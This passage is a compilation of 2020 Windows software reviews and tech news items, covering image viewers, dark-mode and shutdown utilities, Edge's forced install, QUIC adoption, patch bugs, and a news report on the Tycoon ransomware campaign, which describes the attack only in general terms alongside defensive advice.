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  1. Quick Picture Viewer is an open source program with a picture-in-picture mode, slideshow and screenshot tool While browsing a large photo gallery, it may be a good idea to prefer speed over advanced options, to help find the images you want. The faster the program can switch images, the better. Quick Picture Viewer is a program that offers good performance, while keeping the overall experience user-friendly. The program has a light background theme, which is kind of nice to see after so many dark themed applications. More importantly, the toolbar at the top and a statusbar at the bottom gives the program a clean and uncluttered appearance. Click on the open button in the top left to load an image, or drag and drop one on to the GUI. Quick Picture Viewer supports the following image formats: PNG, JPG, GIF, BMP, TIFF, JPEG, JPE, JFIF, EXIF, TIF, ICO, WEBP, DIB, RLE, and SVG. Once an image is loaded in the program, you can switch between previous or next images in the folder by using the left and arrow keys or the icons on the toolbar. Press Ctrl + Shift + S to start a slideshow of the images in the same directory. Quick Picture Viewer starts the slideshow in full screen mode, but you can hit escape to go back to windowed mode. Hit the F key to switch to full screen mode. Regardless of whether you switch to and fro the slideshow continues to play, to pause it, use the slideshow button or shortcut. Ctrl + A toggles the Auto Zoom mode, and there are are controls for changing the zoom level manually. The program can be used to zoom in up to 1000%, the option for this is available from the drop-down menu on the toolbar. Quick Picture Viewer is also capable of editing images, though it has very basic functions. Click on the edit button and you'll see a menu drop-down with options to flip the image horizontally/vertically, rotate the picture clockwise/counter-clockwise or by 180°. The application comes with a built-in screenshot tool that can be used by hitting F12 or the toolbar button. It captures a full screen image of the screen's content, and loads the image in the program's interface. You can edit it or save the image in the formats mentioned earlier in this review. Ctrl + E opens the image in your default picture viewer, it can be useful if you've set it to open in a proper image editor like Paint.NET, GIMP, etc. Toggle a checkboard background with Ctrl + Shift + C. The picture-in-picture mode that can be accessed with Ctrl + Shift + P is neat, as it minimizes the program to a tiny window sans the toolbar. The arrow icon in the bottom right corner lets you resize the PiP window. The statusbar at the bottom of the window displays the current image's folder path, file name, file size and resolution. For more information regarding the picture's properties, hit Ctrl + I, which loads the details in a popup window. The More menu in the top right corner has options to reload the image, set it as the desktop background, open a new instance of the program. The Quick Picture Viewer settings has just 3 options: to toggle automatic updates, view cursor in fullscreen, and to change the theme from Light to Dark. The program is not portable. It is an open source software, and works with Windows 7 and above, & requires .NET v4 to run. Quick Picture Viewer has no right-click menu, so you'll have to rely on the toolbar icons or get used to the keyboard shortcuts. But the program is well optimized, and opens images very quickly. It used around 75MB RAM when I was browsing folders with Full HD images. Landing Page: https://github.com/ModuleArt/quick-picture-viewer Quick Picture Viewer is an open source program with a picture-in-picture mode, slideshow and screenshot tool
  2. Auto Dark Mode 3.0 for Windows introduces theme switching support and more Auto Dark Mode 3.0 is a new version of the open source Windows program that automates the switching between light and dark modes in the operating system. We reviewed the program, then called Auto-Night-Mode, back in 2018 here on Ghacks and concluded that it was a simple application at the time that could help users who wanted to run light and dark modes automatically based on the time of the day. Auto Dark Mode 3.0 is a huge improvement over the initial version. The developer released several updates since the initial release and improved functionality significantly in many of the releases. The user interface provides a glimpse of new functionality, especially if you compare it with the 2018 version of the program. One of the main changes of Auto Dark Mode 3.0 is support for Windows Theme switching. What this means is, that the program reacts to theme related changes so that the selected mode does not look out of place. The selected mode works with wallpaper changes, even wallpaper changes on individual monitors, accent colors, mouse cursor changes and other theme related changes that may be applied automatically or manually. No longer is the contrast off when wallpaper images change on the desktop, or the mouse cursor or accent color not changed when the theme changes. Check the "enable automatic theme switching" option in the interface under Time. There you may also set the start and end time for light and dark modes, another feature not present in the initial version. You need to open the Wallpaper / Theme section in the program's interface and enable "Windows Theme" mode there to unlock these features. The process requires a bit of manual work but it is not too cumbersome. Here is what you need to do to create your own themes that the program will then use when light and dark modes are activated: Open the Windows Theme settings, change the system color to light and configure wallpaper, mouse cursor and accent color. Save the theme and repeat the process for the dark theme. Select the newly created themes as light and dark themes in the application's interface and click on the save button to apply the changes. Another new feature that was not available in the initial 2018 version of the program is found under Apps in the interface. There you may configure the desired light/dark mode behavior for applications, the system, the legacy version of Microsoft Edge, and Microsoft Office (new in this version). Options include setting these to "light or "dark" always, to have them change the theme based on the system, or to disable functionality (only Edge and Office). The program's autostart has changed as well to a "logon task trigger" which should "reduce the switch delay after startup". Users can change the autostart behavior back to the original one under Settings in the interface. Note that some options are not available if "automatic theme switching" is not enabled under Time. Other changes include support for Spanish, Dutch, Czech and Indonesian languages, an app-icon refresh, and support for multiple users on a single computer system. Auto Dark Mode is an open source application that is compatible with Microsoft's Windows 10 operating system and needs to be installed. Landing Page: https://github.com/Armin2208/Windows-Auto-Night-Mode Auto Dark Mode 3.0 for Windows introduces theme switching support and more
  3. Add a confirmation or timer to Shut Down, Restart the computer with OxyBits EasyShutdown You just clicked on Shut Down, and then you remembered you had to email something, or some urgent work came up. But Windows is shutting down and you have to wait for it to complete, and reboot the PC. There's no way to interrupt the process, and tell the OS "hey, I changed my mind, stay on!" in the graphical user interface. While you can run shutdown /a to stop the next shutdown or restart, it is not something that most Windows users know about. Well, this is why I always keep an unsaved document in Notepad open in the background. When I click on Shut Down or Restart, Windows will warn me there are unsaved documents, and offer the option to "Shut down/Restart anyway". It's very useful in case you want to cancel the reboot/shutdown process at the last minute. Now, what if there was an option to shut down the computer, but add a timer to it. That's what OxyBits EasyShutdown does. The program works from the system tray. Right-click on its icon to bring up the context menu. It has these options: Lock Session, Log Off, Standby, Restart and Turn Off. Lock Session as the name suggests locks your PC, Log Off signs you out of the account and so on. So, this menu acts like a power menu on the tray icon. It can be useful in case the start menu isn't responding. But, that's not all, you'll notice the Log Off, Stand by, Restart and Turn Off options in EasyShutdown each have their own menu. It has an option for delayed action clicking which brings up a small pop-up window. It has an option labeled "wait" which acts as a timer, that delays the action by the number of minutes that you set. For e.g. wait 5 minutes, after which it executes the option. The timer settings are not mandatory, but it's a nice option to have. The settings menu in EasyShutdown has 2 options. Force Quit Applications when enabled will make the computer shut down, restart, etc as you have selected without waiting for the programs that are open in the background to exit. This option is not enabled by default. The other setting, "Enable shutdown confirmations", is pre-enabled and will display a pop-up window when you choose to Turn Off the computer, that prompts you "Do you really want to turn off the computer now?". You may choose Yes to confirm, or No to cancel it. Despite the name (Enable shutdown confirmations), the setting also displays a similar confirmation when you use EasyShutdown to Log Off or Restart the computer. It doesn't do so for Lock Session or Standby. You can disable the confirmations setting if you dislike it, and use the program as a shutdown menu. Left-clicking on the EasyShutdown icon displays a window that has a menu which you can use to select the action (Turn Off, Restart, Log Off, etc). Select one of the options and hit the OK button to confirm the action. This window also has the timer setting that you can use optionally. OxyBits EasyShutdown does not interfere with Windows' built-in power menu (or Start Menu > Power, Alt + F4). So, if you use one these, they will be executed as they normally do. EasyShutdown is not a portable software. It is compatible with Windows XP and above, and supports 32-bit and 64-bit systems. The application appears to be the re-release of an old program that was called FSEasyshutdown. It would've been useful to have a custom hotkey for the power menu options offered by the program. Landing Page: https://oxybits.com/easyshutdown/ Add a confirmation or timer to Shut Down, Restart the computer with OxyBits EasyShutdown
  4. Microsoft just sank to a new low by shoving Edge down our throats It undermines Microsoft’s own argument that automatic updates are critical Illustration by Alex Castro / The Verge If I told you that my entire computer screen just got taken over by a new app that I’d never installed or asked for — it just magically appeared on my desktop, my taskbar, and preempted my next website launch — you’d probably tell me to run a virus scanner and stay away from shady websites, no? But the insanely intrusive app I’m talking about isn’t a piece of ransomware. It’s Microsoft’s new Chromium Edge browser, which the company is now force-feeding users via an automatic update to Windows. Seriously, when I restarted my Windows 10 desktop this week, an app I’d never asked for: Immediately launched itself Tried to convince me to migrate away from Chrome, giving me no discernible way to click away or say no Pinned itself to my desktop and taskbar Ignored my previous browser preference by asking me — the next time I launched a website — whether I was sure I wanted to use Chrome instead of Microsoft’s oh-so-humble recommendation. Did I mention that, as of this update, you can’t uninstall Edge anymore? It all immediately made me think: what would the antitrust enforcers of the ‘90s, who punished Microsoft for bundling Internet Explorer with Windows, think about this modern abuse of Microsoft’s platform? But mostly, I’m surprised Microsoft would shoot itself in the foot by stooping so low, using tactics I’ve only ever seen from purveyors of adware, spyware, and ransomware. I installed this copy of Windows with a disk I purchased, by the way. Maybe I’m old-fashioned, but I like to think I still own my desktop and get to decide what I put there. That’s especially true of owners of Windows 7 and Windows 8, I imagine, who are also receiving unwanted gift copies of the new Edge right now: And I’m not surprised that some angry Windows users are already railing against the fact that this came as part of a forced Windows update, which Microsoft has already had a damn hard time justifying without invading people’s desktops as well. It’s going to be harder to buy the argument that forced updates are necessary for security when they’re pulling double-duty as an intrusive marketing tool. Heck, we can’t even get Americans to wear life-saving masks in public right now. Microsoft isn’t trying to hide most of this, by the way: it lays out the so-called “First Run Experience” in this update changelog. So I figured I’d see if the company might say more. Here is a list of questions I sent Microsoft, which the company declined to substantively answer on the record or on background: What was the goal and reasoning here? Why does Microsoft feel that this is appropriate? Was it a success, and if so, by what metric? What does Microsoft’s telemetry show users are doing in response to being confronted with Edge pins, desktop icons, auto-launch, and reset default apps? Would Microsoft do this again? Will Microsoft stop this now, and/or change anything about this update? What is Microsoft’s philosophy on dark pattern software design? The only justifications the company could provide me are that, technically, the new Edge is replacing the old Edge that already comes with Windows 10; Microsoft wants you to use the best, most secure version of its browser; and you can still say no — though in this case, a “no” involves force-closing Edge, reaffirming your default browser choice, and having to spend a minute deleting unwanted junk on your desktop. Time to reaffirm the browser choice I already made years ago. Here’s one more question: Microsoft, do you think this behavior makes Windows users actually want to try Edge? Because if I’m being honest, after the initial shock wore off, I found Edge easy enough to ignore. The experience mostly just left a bad taste in my mouth. Before, I had actually been interested in this new Chromium-based version of Edge! I had been planning to check it out. I’ve been toying with Firefox and Opera for weeks now, considering a potential migration away from Chrome. Now — as a user, not a journalist — I can’t help but feel like I should ignore Edge on principle. And if there’s a sizable fraction of users who feel the same, somebody inside Microsoft is facepalming hard right about now. Microsoft just sank to a new low by shoving Edge down our throats
  5. VenMon is a system monitor program with a minimalistic widget and a multi-ping tool Monitoring your computer's performance is a good way to ensure everything is working as intended. There are many tools you can use for this. VenMon is a system monitor program that has a minimalistic widget and a multi-ping tool. The program places a floating widget on the screen, which you can drag it anywhere you like. The interface stays on top of other windows, though this can be toggled from the settings page. The VenMon GUI has a minimalstic approach thanks to the button-less, toolbar-less design. Instead, it has colorful text meters. There is a lot of information on that little pane, it can be a little confusing at first. "Phys" refers to the physical memory that's available on your computer, aka the free memory. It is displayed in Megabytes and %. Next is the Page file memory, also using the same units. VenMon indicates the current CPU usage, battery percentage, system uptime, idle time. There is a ping meter, which we'll get back to later. The R and W in the interface are the hard drive's read and write activity. The application lists each partition and drive on your computer, with the amount of free space and total space, in both Gigabytes and percentage. Clicking on any of the meters in the VenMon widget opens a pop-up window that loads the relevant page in the program's secondary interface. Technically, this GUI offers a lot more information that the widget. The window has seven tabs: System, Processors, Storage, Networks, Ping, Settings and About. The System tab gives you information regarding your computer's components such as the processor model, memory, graphics card, display resolution, operating system, username and computer name. A real-time graph is displayed for monitoring your CPU and memory utilization. The sidepanel to the right edge lists the system events along with the usage charts for the CPU, physical memory and page file memory. Processors, the second tab in VenMon can be used to identify your CPU's base frequency, model, cache and cor information. The tab has real-time graphs exclusively for monitoring each CPU core. View your hard drive's stats under the Storage tab. There is yet another graph here, this time for monitoring the data read and write speeds. The menus at the top can be used to switch the unit or to monitor specific drives/partitions. Check your internet adapter's properties, monitor the network usage, speeds from the Network tab. The Ping tab is VenMon's multi-ping tool. Instead of using the Ping command in CMD, you can ping multiple servers at the same time quickly using this utility. There is an option to switch between host name and IP address, as well as settings to change the time interval between pings. To add a host name/IP enter the relevant information in the text field at the top and click on the + button. - removes the selected host, while // resets all hosts. The icon at the far right corner displays the countdown timer for the ping process. Head to the Settings tab and you can customize VenMon to some extent. Enable sound alerts, set the window transparency or make the widget truly minimal by toggling "Borderless Window". Other options that you can choose include "Always on Top" mode, real-time monitors for memory and network, extended history, detailed ping timeline, etc. The program has an icon on the system tray, that can be used as a shortcut to bring the widget back into view, if you minimize it. There are many keyboard shortcuts that you can use to access the various tools in VenMon, learn about them at the official webpage. VenMon is available in a portable format that contains the 32-bit and 64-bit executables. It is compatible with Windows 7, 8, and 10. My only complaints regarding it are that it doesn't read the thermal levels (CPU, GPU temperature), and you can't resize the widget, or change the font sizem type or color. The tray icon displays just one hard drive's stats, a more informative tool-tip with additional stats would be welcome. Landing Page: https://www.ventural.com/venmon VenMon is a system monitor program with a minimalistic widget and a multi-ping tool
  6. Tweetz is an open-source Twitter client for Windows Last week, we told you how to get the old Twitter interface back, using GoodTwitter 2. Before I came across it, I had been looking for extensions and other solutions. One of these was a Twitter client, called Tweetz. It's an an open-source program for windows, that you can use to view your timeline from your desktop. You cannot customize the location where Tweetz gets installed. When the program is run, you will see the following screen. It tells you click on the "Get Pin" button to authorize your account. Hit the button and a new tab should open in your browser. Login to Twitter and authorize the application. Here's the list of permissions it requires. It's pretty much standard for a Twitter client to have such options. Twitter will display a PIN that you'll need to enter in Tweetz. Paste it in the field that's available and click on the sign in button. Tweetz has a minimal interface with a dark theme. You can resize the window to make it larger or smaller. The navigation bar at the top of the window has five buttons. Clicking the Home button takes you to your timeline. The heart icon lists tweets that you've liked. The magnifying glass is the Search shortcut. Oddly, the "@ mentions" are located on the search page, so if you want to see tweets that you've been tagged in (replies from other users), you've to click on the @ button to fetch the mentions. It would've been better if it had its own shortcut on the nav bar. The gear cog icon is used to access the program's settings. You may hide images, profile pictures, extended content, your username in the title bar, tweets that contain sensitive content. Tweetz can be set to stay on top of other programs, start automatically with Windows, minimized to the system tray. Drag the font size slider towards the right to adjust the text size. There are 3 themes in Tweetz: Light, Nord and Dark. The application stores its settings in a text file. The settings page lists a few tips on how to control the program. Right-click (on any page) to scroll to the top, click on a timestamp to open the link in your browser, Ctrl + N to post a new tweet, etc. Speaking of, hit the tweet button in the top right corner to post a tweet. The + button in the tweet compose window can be used to add images (GIF, JPG, PNG, WEBP formats) or videos (MP4). You can use Tweetz to post Tweets, retweet, retweet with comment, reply to tweets, like tweets, and follow users from the timeline. The program automatically pauses the timeline when you scroll down, and allows you to read the currently loaded tweets. Mouse over a link to view the full URL, or over a profile picture or username to view the profile info. Click on an image to view a larger version of it, that opens in a pop-up window. It has 2 buttons that lets you copy the picture's URL or the image to clipboard. To return to your timeline, click on the image again. Tweetz can play twitter videos too, and uses a pop-up player for it. Its controls are similar to the built-in image viewer. No program is perfect. Let's discuss the flaws of the program. There is no way to manage your Twitter account from within the program. Tweetz does not support lists, which may not be a deal breaker for many, but as a user with customized lists I was disappointed. The biggest drawback however is that when you click on a Tweet, a timestamp or a profile, it doesn't open a pop-up window to display the content. Instead, it opens the link in your default browser. The program is written in .NET Core. A portable version of Tweetz is available, it's called the self-contained version. Note: This review is not based on the latest version that was released a few days ago. I used version 2.6.2 from about two weeks ago. The program displays a "Consider donating" Tweet from the developer from time to time. It is displayed even if you aren't following him on Twitter. Tweetz is impressive, but I would've liked it more if it opened Tweets and profile pages in its interface, rather than sending them to the web browser. If I were to rate it in a point system, it definitely gets extra points simply because it. does not use the "modern Twitter interface". Landing Page: https://github.com/mike-ward/tweetz/releases Tweetz is an open-source Twitter client for Windows
  7. Apple’s new ARM-based Macs won’t support Windows through Boot Camp It’s up to Microsoft to change that Apple will start switching its Macs to its own ARM-based processors later this year, but you won’t be able to run Windows in Boot Camp mode on them. Microsoft only licenses Windows 10 on ARM to PC makers to preinstall on new hardware, and the company hasn’t made copies of the operating system available for anyone to license or freely install. “Microsoft only licenses Windows 10 on ARM to OEMs,” says a Microsoft spokesperson in a statement to The Verge. We asked Microsoft if it plans to change this policy to allow Boot Camp on ARM-based Macs, and the company says “we have nothing further to share at this time.” Apple has been working closely with Microsoft to ensure Office is ready for ARM-based Macs later this year, but the company didn’t mention its lack of Boot Camp support at WWDC. It’s possible that both companies are still working toward some sort of support, but that would require Microsoft to open up its Windows 10 on ARM licensing more broadly. VMWare Fushion. Other methods to run Windows on ARM-based Macs could include virtualization using apps like VMWare or Parallels, but these won’t be supported by Apple’s Rosetta 2 translation technology. Virtual machine apps will need to be fully rebuilt for ARM-based Macs, and it’s not immediately clear if that’s even a workable solution or whether VMWare, Parallels, and others will commit to building these apps. VMWare has asked its community about how they would use its Fusion virtualization on ARM-based Macs, but there’s no commitment to building the app just yet. So the Windows situation on ARM-based Macs looks complicated at best and impossible at worst. The best hope is that Microsoft changes its strict licensing model for ARM-based Macs, but it would still require Apple to create Windows on ARM drivers for its future Mac hardware. Given the small percentage of macOS users that actually use Boot Camp and the roughly 100 million install base of Macs, running Windows 10 on ARM natively on Apple’s ARM-based Macs isn’t something we’re likely to see anytime soon or maybe ever at all. Apple’s new ARM-based Macs won’t support Windows through Boot Camp
  8. Reposition any program's window to the center of the screen with Window Centering Helper WindowTop, Window TopMost Control, OnTopper, UltWin are some of the various applications that you can use to manage the windows of most programs. How about one that can position the windows in the center of the screen? That's precisely what Window Centering Helper does. The application is as user-friendly as it gets. In fact, it is sort of an install-and-forget program. That's because it runs in the background and works automatically, without requiring any user interaction whatsoever for the most part. Window Centering Helper runs as a system tray application. It has a ? for its icon probably to signify that it is a "helper" program. Right-click on the icon, to bring up its context menu. You can use it to change the language of the interface and to access the control panel which is the program's GUI. There are just two options in the interface of Windows Centering Helper. The first one, which is labeled "Automatically center new window", when enabled, will reposition any new window to the center of the screen. This works with all applications: Windows 10 apps, normal programs, system components. Toggle the button next to the option to disable the automatic centering mode. Try opening a new program, and you'll notice a small animation as the window is moved to the center of the screen, as if you clicked and dragged it to that position. Having a window centered on the screen makes it easier to work with, unless you're multi-tasking and place each window in a different area on the screen. It is worth noting that Window Centering Helper does not resize the window of any program, so if you've resized an application's window previously, it will not be affected. Obviously, the centering functionality does not work with applications that open in maximized mode. What about when you maximize or restore windows? No, these aren't changed either. Window Centering Helper cannot automatically center the windows of programs that are already open. But there is a workaround for this, in the form of the second option. Hit the Shift key three times to center an active window. Both options, i.e., the automatic window centering and manual mode, are enabled by default. You may toggle either one off based on your preference. The manual option can be useful, if you're using programs which have customized settings for remembering their previous position. There are no other settings that you can mess about with in Windows Centering Helper. Clicking the X button minimizes the program to the system tray. Use the tray menu to exit the program. Window Centering Helper is a freeware software. It is available in an optional portable version that weighs less than 2MB. Since it is delivered as an executable and not an archive, you can run the program directly. The application stores its settings in a CFG file that it creates in the same folder where you placed the EXE in. Though the program is hosted on GitHub, it is not open source. The application is compatible with Windows 7 and above, it requires .NET framework 4.5 or later to run. Landing Page: https://kamilszymborski.github.io/ Reposition any program's window to the center of the screen with Window Centering Helper
  9. Google Chrome is soon going to be installed in a different directory on Windows If you use a 64-bit installation of Google Chrome on a Windows device, you may know that the browser's default installation folder is C:\Program Files (x86)\Google\Chrome\. Similarly, if you install other Chromium-based browsers, you may notice that the 64-bit installations of these get installed in the same program files folder. Chromium-based browsers install core browser files under program files on Windows and user data, e.g. the browsing data, bookmarks and extensions, under AppData instead. The fact that Chrome installs the 64-bit version in the folder designated for 32-bit application installations is puzzling but the browser is definitely not the only 64-bit program on Windows that installs in the wrong folder. The installation folder does not impact functionality of the program in question. Chrome users who upgrade the browser from a 32-bit version to a 64-bit version will also notice that the program folder remains the same. Starting soon, Google Chrome will install in the C:\Program Files\ folder by default on Windows if it is a 64-bit installer. Chrome 64-bit versions installed in the C:\Program Files (x86)\ folder will continue to work and will be updated just like before. It is interesting to note that the bug was opened more than six years ago. Google noted back then that the behavior was intentional and that it had plans to move 64-bit Chrome to the right program folder on Windows. Google notes that Chrome needs to be removed from the Windows device entirely if the user wants the browser to be installed in the new default program folder. Install 64-bit browser versions under "C:\Program Files" by default Browsers installed under "C:\Program Files (x86)" remain in that directory and will continue to be updated. They must be uninstalled first to be reinstalled under "C:\Program Files". The change is limited to new installs; it is likely that most Chrome users on Windows don't care about the installation directory let alone uninstall the browser just to make it install in the right 64-bit folder on the system. Administrators on the other hand may find the information useful as it may help them locate the Chrome folder if it is not in C:\Program Files (x86)\ as expected. Google Chrome is soon going to be installed in a different directory on Windows
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  11. Researchers detail the unusual workings of Tycoon ransomware - which appears to be designed to stay under the radar as much as possible. A newly uncovered form of ransomware is going after Windows and Linux systems in what appears to be a targeted campaign. Named Tycoon after references in the code, this ransomware has been active since December 2019 and looks to be the work of cyber criminals who are highly selective in their targeting. The malware also uses an uncommon deployment technique which helps stay hidden on compromised networks. The main targets of Tycoon are organisations in the education and software industries. Tycoon has been uncovered and detailed by researchers at BlackBerry working with security analysts at KPMG. It's an unusual form of ransomware because it's written in Java, deployed as a trojanised Java Runtime Environment and is compiled in a Java image file (Jimage) to hide the malicious intentions. "These are both unique methods. Java is very seldom used to write endpoint malware because it requires the Java Runtime Environment to be able to run the code. Image files are rarely used for malware attacks," Eric Milam, VP for research and intelligence at BlackBerry told ZDNet. "Attackers are shifting towards uncommon programming languages and obscure data formats. Here, the attackers did not need to obscure their code were nonetheless successful in accomplishing their goals," he added. However, the first stage of Tycoon ransomware attacks is less uncommon, with the initial intrusion coming via insecure internet-facing RDP servers. This is a common attack vector for malware campaigns and it often exploits servers with weak or previously compromised passwords. Once inside the network, the attackers maintain persistence by using Image File Execution Options (IFEO) injection settings which more often provide developers with the ability to debug software. The attackers also use privileges to disable anti-malware software using ProcessHacker in order to stop removal of their attack. "Ransomware can be implemented in high-level languages such as Java with no obfuscation and executed in unexpected ways," said Milam. After execution, the ransomware encrypts the network with files encrypted by Tycoon given extensions including .redrum, .grinch and .thanos – and the attackers demand a ransom in exchange for the decryption key. The attackers ask for payment in bitcoin and claim the price depends on how quickly the victim gets in touch via email. The fact the campaign is still ongoing suggests that those behind it are finding success extorting payments from victims. Researchers suggest that Tycoon could potentially be linked to another form of ransomware, Dharma – also known as Crysis – due to similarities in the email addresses, names of encrypted files and the text of the ransom note. And while Tycoon does have some unique means of executing an infection, like other forms of ransomware, it's possible to prevent it from getting that far. As RDP is a common means of compromise, organisations can ensure that the only ports facing outward to the internet are those which require it as an absolute necessity. Organisations should also make sure that accounts which do need access to these ports aren't using default credentials or weak passwords which can easily be guessed as a means of breaking in. Applying security patches when they're released can also prevent many ransomware attacks, as it stops criminals exploiting known vulnerabilities. Organisations should also ensure they regularly backup their network – and that the backup is reliable – so that if the worst happens, the network can be restored without giving into the demands of cyber criminals. Source
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  14. The coronavirus will change Windows forever And that’s partly because it’s making it easier for Microsoft to head in a direction it was already taking. Martin Sanchez (CC0) It’s clear that the coronavirus pandemic will forever change the world we know — in the ways we live, work and communicate. And that means technology and software will have to change as well. How? If we look at one dominant software product, Windows, we can already get some ideas. Although it’s still too early to know precisely what Microsoft will do differently with the operating system, there’s plenty of evidence suggesting what it might look like. Here’s what to expect from Windows in the age of pandemics. The first piece of evidence comes from the upcoming Windows 10 May 2020 Update; Microsoft has changed how it will handle all Windows updates for as long as the pandemic lasts. The Windows 10 May 2020 Update offers no major new features, has no significant changes, and looks and works pretty much the same as the previous version of Windows. That’s particularly striking, because it’s been a year since the last major Windows 10 update, and you would expect that Microsoft would come up with some notable improvements in that time. In addition, Microsoft announced that, effective May 1, it will pause the release of non-security Windows updates and only issue security patches. That’s due to the pandemic — IT staffs, which are struggling to keep systems running while working from home, will have to deal with far fewer updates this way. What do these two facts mean for the future of Windows? Expect very few new features for a while — and expect “for a while” to mean something longer than the duration of the pandemic. The Windows you see today will very likely be the Windows you see tomorrow. Expect fewer patches, and don’t look for much in Microsoft’s updates. It’s likely that what the company refers to as “feature updates,” which used to be released twice a year, will only be released once a year, and even then will be minor. There is good reason to believe that the end of the pandemic will not be the end of these changes. Microsoft has been traveling down this path for a long time, with fewer and fewer new features added to Windows. The pandemic has only accelerated that trend. Microsoft developers have been working at home for quite some time, and will continue to do so for a while yet. During that time, Microsoft will have to make hard decisions about which products need updating the most and which can be left fallow. And it’s clear that Windows needs fewer updates in the short term, because it’s no longer the company’s cash cow and doesn’t have fast growth ahead of it no matter how many bells and whistles are added. And that gets us to what new things will be put into Windows. The best evidence comes from the most recent Microsoft earnings report. The report showed that use of Teams, Microsoft’s collaboration chat and meetings app, has skyrocketed due to the coronavirus and the subsequent mass exodus from offices. As of late April, Teams had 75 million daily active users, the company said, up from 20 million users in January. Microsoft CEO Satya Nadella explained the spike this way: “We’ve seen two years’ worth of digital transformation in two months. From remote teamwork and learning, to sales and customer service, to critical cloud infrastructure and security — we are working alongside customers every day to help them adapt and stay open for business in a world of remote everything.” The company believes the pandemic is a wake-up call that we need to change the nature of work. Disruption will likely become the new normal, with other pandemics and larger and more dangerous storms fed by global warming ahead of us. In that kind of world, remote collaboration will become king. Jared Spataro, head of Microsoft 365, says, “It’s clear to me there will be a new normal. If you look at what’s happening in China and what’s happening in Singapore, you essentially are in a time machine. We don’t see people going back to work and having it be all the same. There are different restrictions to society, there are new patterns in the way people work. There are societies that are thinking of A days and B days of who gets to go into the office and who works remote. … The new normal is not going to be like what I thought two weeks ago: that all is clear, go back everybody. There will be a new normal that will require us to continue to use these new tools for a long time.” What does that mean for Windows? Expect some form of Teams and possibly other collaboration tools to be built directly into Windows, rather than tacked on afterwards when you decide to download and install the software. That’s what Microsoft did with OneDrive cloud storage. OneDrive began life as a standalone storage service, and eventually migrated directly into Windows. Everyone gets a basic amount of OneDrive storage; those who want more can pay more for it. The same things will likely happen with Teams and other collaboration tools. Everyone will get a free copy in Windows with a license for a small number of people, or perhaps with an incomplete set of features. Various for-pay tiers will be able to be bought at differing fees for companies of all sizes. At first, Teams will be tacked onto Windows. But over time, as remote collaboration becomes an important part of everyone’s working life, it will become more intimately integrated into it, directly into the file system, for example, built into video and audio tools, enabled by voice. Eventually, expect that Windows will no longer be designed for one-person use, but for multi-person use. It’s hard to know right now exactly what that means. But expect collaboration to be baked directly into every aspect of the operating system in one form or another. Full integration will be years away. But it’s coming our way. Remote collaboration is the future of Windows in the same way that it will become the future of work. Source: The coronavirus will change Windows forever (Computerworld - Preston Gralla)
  15. Microsoft refutes claim of Windows use decline, says usage up 75% We reported two days ago that Windows appears to have lost market share to Linux and MacOS in the last month, dropping more than 1%. Now Microsoft has responded by claiming not only has Windows use increased, but that usage is up massively, a full 75% YoY. This amounts to 4 trillion minutes of use a month, or 7,610,350 years. It, of course, makes sense that with everyone stuck at home use of larger screens would increase over mobile screens. This view is supported by this Statcounter chart, which shows a clear signal with Windows and OS rising and Android and iOS dropping in the most recent weeks. Microsoft also reported in their latest earnings results that Windows OEM Pro revenue grew 5% driven by PC demand due to remote work and learning needs. It remains to be seen if this boost will continue if and when things return back to normal, but strangely, once again Microsoft appears to be one of the few companies benefitting from the COVID-19 crisis. Source: Microsoft refutes claim of Windows use decline, says usage up 75% (MSPoweruser)
  16. Microsoft is adopting Google’s QUIC technology for Windows HTTP/3 stack In a blog post Microsoft has revealed that it is adopting Google’s QUIC transport layer network protocol for Windows. QUIC reduces network connection latency dramatically and uses multiple multiplexed UDP connections to speed data transfer. It also deals better with network congestion. QUIC (Quick UDP Internet Connections) was initially developed by Jim Roskind at Google and is in the process of becoming an IETF standard. Google and Cloudflare have nevertheless rolled out the technology already to their networks and clients, with Google Chrome already supporting it. Google says more than half of Chrome’s connection to their sites use QUIC. That amounts however to only 3-4% of internet traffic. Microsoft is, however, rolling their own general-purpose QUIC library, MsQuic, which they have released on GitHub, which may increase adoption, and will soon ship Windows with MsQuic built into the kernel as part of the Windows HTTP/3 stack. Microsoft is also dogfooding the technology internally as part of Microsoft 365, IIS, the .NET Core and SMB. Microsoft notes: “MsQuic brings performance and security improvements to many important networking scenarios. Our online services benefit the most from performance improvements like reduced tail latency and faster connection setup. Our connections will be able to seamlessly switch networks because they can survive IP address/port changes. This equates to better user experience on our edge devices.” Microsoft says MsQuic is ready for prototyping and testing, and developers can check it out at GitHub here. via The Register Source: Microsoft is adopting Google’s QUIC technology for Windows HTTP/3 stack (MSPoweruser)
  17. Microsoft Patch Alert: April 2020, another 'wacky' month It’s been a wacky Windows patching month, with seemingly random bluescreen and Bluetooth bugs, a recurrence of the “disappearing data” temporary profile bug, and an elusive bug in v4 printer connection – all punctuated by an extraordinary (and welcome!) solicitation for help from Microsoft. Thinkstock The patching pace this month returned to normal: We had the Patch Tuesday patches on April 14, followed by the “optional, non-security, C/D Week” patches one week later (Monthly Rollup Preview for you Win8.1 afficionados). With a bit of luck, that’s the last round of confusing “optional” Win10 patches: Microsoft promises we won’t see any more of them. We also had an out-of-band patch for Office 2016 Click-to-Run, Office 2019 (which is only available as Click-to-Run) and Microsoft 365 Apps for Enterprise (previously known as Office 365 ProPlus). The big concern with those patches falls into the “it’s not a bug, it’s a feature” column. More big, scary zero-day vulnerabilities For the Chicken Little crowd, we had three zero-day patches – ones identified by Microsoft as being “Exploited” when issued – and, as best I can tell, none of those have found their way into mainstream attacks. Same old story. As a perplexing sidenote, many reports included a fourth zero-day patch, CVE-2020-0968, which was issued with an indication of “Exploited: Yes” but is now listed as “Exploited: No.” Long story, but the divergent reports on the web have largely been updated. (Thx, @campuscodi, @dangoodin001) I’m not aware of any widespread attacks based on any of the three (or four) “Exploited” patches. As usual, the exploits at this point are limited to extremely targeted attacks. VBA libraries get blocked with the Office Click-to-Run patches If you use one of the recent Click-to-Run versions of Office and you start getting “Compile error: / Can’t find project or library” error messages (see screenshot), there’s a reason why. You’re running a VBA command – whether you realize it or not – that’s trying to open something out on the wild, wild web. Microsoft Patch Lady Susan Bradley explains in her Patch Watch column (paywall, donation required): “Microsoft is doing you a favor; it’s pointing out that an application you’re using is breaking security by pulling links or references directly from the Web rather than from your computer…. Microsoft recommends that you move your VBA object libraries to an intranet (i.e., local network) location. You can then use a Group Policy object setting to remove the blocking.” The old 'missing' data new profile bug is still there I’ve been talking about this bug for months, and it doesn’t seem to be getting any better. It’s not clear to me why or how, but in some cases, the Win10 Cumulative Update installer hits a “race condition” on reboot, with the user coming back up to a temporary profile. In plain English, the user runs the update, reboots, and returns to a clean desktop, without their desktop customizations, while files in their customary folders (such as Documents) have disappeared. I don’t know what causes 